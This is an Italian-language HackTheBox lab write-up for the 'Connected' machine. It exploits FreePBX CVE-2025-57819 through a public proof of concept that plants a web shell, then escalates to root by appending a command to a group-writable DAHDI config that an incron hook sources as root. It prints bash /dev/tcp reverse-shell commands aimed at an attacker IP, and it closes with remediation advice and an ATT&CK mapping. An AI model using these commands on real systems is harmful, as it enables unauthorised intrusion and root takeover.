
Writeup dettagliato di penetration testing per la macchina 'Connected' di HackTheBox, che copre lo sfruttamento di FreePBX CVE-2025-57819 (da SQLi a RCE) e l'escalation dei privilegi tramite una configurazione errata di incron fino a root.
Connected è una macchina Linux basata su CentOS che esegue il sistema di comunicazione VoIP FreePBX v16.0.40.7 integrato con Asterisk.
Il flusso di sfruttamento (Attack Vector / Kill Chain) è composto da due fasi principali:
asterisk./usr/sbin/sysadmin_dahdi_restart quando viene scritto nel file /var/spool/asterisk/sysadmin/dahdi_restart. Poiché il file di configurazione DAHDI /etc/dahdi/init.conf è scrivibile dall'utente asterisk, l'iniezione di un payload di reverse shell in quel file di configurazione viene eseguita automaticamente con privilegi root (uid=0).Il primo passo del penetration testing inizia con una active reconnaissance utilizzando nmap per identificare le porte aperte, i servizi in esecuzione e la versione del sistema.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Spiegazione delle Flag Nmap:
-T4: Imposta il timing template aggressivo per una scansione più rapida ed efficiente.-sC: Esegue il set di script NSE (Nmap Scripting Engine) predefiniti per il rilevamento di vulnerabilità di base.-sV: Abilita il service and version detection su ogni porta che risponde.-oA recon/nmap_quick: Salva tutti i formati di output (standard, grepable, XML) nella directory recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Poiché il web server applica l'hosting virtuale e reindirizza il traffico a connected.htb, dobbiamo aggiungere la risoluzione del nome host locale a /etc/hosts:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
L'accesso all'URL http://connected.htb/admin/config.php tramite browser mostra l'interfaccia di gestione VoIP basata sul web:
Dal footer della pagina web, si ottengono le informazioni sulla versione specifica:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7La versione FreePBX 16.0.40.7 è vulnerabile a CVE-2025-57819. Questa vulnerabilità è una pre-authentication SQL Injection che consente a un attaccante senza credenziali (unauthenticated attacker) di manipolare il database backend di FreePBX/Asterisk.
Attraverso l'iniezione SQL, l'attaccante può modificare la tabella dei cron job interni di Asterisk (asterisk.cron_jobs) o iniettare codice PHP arbitrario nella directory del web server (generando una Web Shell), portando a Remote Code Execution (RCE).
Abbiamo utilizzato il PoC exploit pubblico di WatchTowr Labs:
# 1. Clonare il repository dell'exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Eseguire lo script exploit contro il target
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Risultato dell'Esecuzione dell'Exploit: Lo script ha sfruttato con successo il target e creato una webshell attiva sull'endpoint:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Per ottenere una sessione interattiva (reverse shell), procedere come segue:
Aprire un Netcat Listener sulla macchina attaccante:
nc -lvnp 1212
Inviare il Payload della Reverse Shell tramite la Web Shell:
Inviare il payload della reverse shell usando curl con parametro URL-encoded:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
Connessione Reverse Shell Ricevuta con Successo:
La connessione entra nel listener nc e otteniamo l'accesso a una shell interattiva come utente asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
Dopo aver ottenuto l'accesso come utente asterisk, il passo successivo è eseguire un'enumerazione interna per trovare un vettore di Privilege Escalation verso root.
incron)Abbiamo esaminato la configurazione del demone incron (inotify cron table), ovvero il servizio che esegue comandi quando si verifica un filesystem event (come la modifica o la creazione di un file):
[asterisk@connected html]$ cat /etc/incron.d/*
Output della Configurazione Incron:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart viene chiuso dopo un'operazione di scrittura (IN_CLOSE_WRITE), il sistema esegue automaticamente lo script /usr/sbin/sysadmin_dahdi_restart con privilegi root.Un'ulteriore verifica dello script /usr/sbin/sysadmin_dahdi_restart mostra che lo script riavvia il servizio DAHDI (Digium Asterisk Hardware Device Interface) ed esegue/carica (source) il file di configurazione /etc/dahdi/init.conf.
Il controllo dei permessi sul file /etc/dahdi/init.conf mostra che il file è scrivibile dall'utente asterisk:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Poiché /etc/dahdi/init.conf viene eseguito nel contesto di root al riavvio di DAHDI, possiamo inserire un comando di reverse shell in quel file di configurazione, quindi attivare il riavvio tramite incron.
Aprire un Nuovo Listener sulla Macchina Attaccante (Porta 4545):
nc -lvnp 4545
Inserire la Reverse Shell in /etc/dahdi/init.conf:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
Attivare l'Evento Incron tramite la Scrittura del File di Spool:
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
In pochi secondi dopo che incron ha elaborato l'evento di scrittura del file, lo script root esegue la riga di comando iniettata e genera una connessione di reverse shell come root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Pwned by ikmalhanaan 🚀
| Componente | Specifiche / Descrizione |
|---|
| Nome Macchina | Connected |
| Sistema Operativo | Linux (CentOS / FreePBX Distro) |
| IP Target | <IP_TARGET> (connected.htb) |
| IP Attaccante | <IP_VPN_KITA> (Interfaccia VPN tun0) |
| Vulnerabilità Critica | CVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE) |
| Meccanismo PrivEsc | Hook Incron Daemon Configurato Errato + /etc/dahdi/init.conf Scrivibile |
| Strumenti Utilizzati | nmap, curl, python3, netcat (nc), bash, git |
| Vettore di Debolezza | Impatto | Raccomandazioni di Remediation / Mitigazione |
|---|
| FreePBX Pre-Auth SQLi (CVE-2025-57819) | Critico — Consente RCE senza autenticazione tramite iniezione nel database. | Aggiornare FreePBX all'ultima versione patch ufficiale di Sangoma. Applicare una validazione rigorosa degli input e Prepared Statements / Parameterized Queries su tutti gli endpoint API. |
Permessi File Non Sicuri (/etc/dahdi/init.conf) | Alto — Un utente non autorizzato (asterisk) può modificare un file di configurazione eseguito da root. | Limitare i permessi di proprietà e scrittura del file di configurazione: chmod 644 /etc/dahdi/init.conf e chown root:root /etc/dahdi/init.conf. |
| Esecuzione Automatica Root tramite Incron | Medio/Alto — Lo script di automazione root carica un file di configurazione senza verifica di integrità. | Revisionare tutte le regole incron e gli script /usr/sbin/sysadmin_*. Evitare il sourcing di file di configurazione dinamici vulnerabili a modifiche non-root. |
| Tattica | ID Tecnica | Nome Tecnica | Applicazione sulla Macchina |
|---|
| Reconnaissance | T1595.002 | Active Scanning: Vulnerability Scanning | Scansione di porte e servizi con nmap. |
| Initial Access | T1190 | Exploit Public-Facing Application | Sfruttamento della vulnerabilità CVE-2025-57819 sul web server FreePBX. |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Esecuzione di comandi bash reverse shell tramite web shell e script di init. |
| Persistence / Privilege Escalation | T1053.003 | Scheduled Task/Job: Cron | Utilizzo del demone incron per eseguire automaticamente task root. |
| Privilege Escalation | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Iniezione di comandi dannosi nel file di configurazione /etc/dahdi/init.conf. |
| Credential Access / Collection | T1005 | Data from Local System | Lettura delle flag user.txt e root.txt. |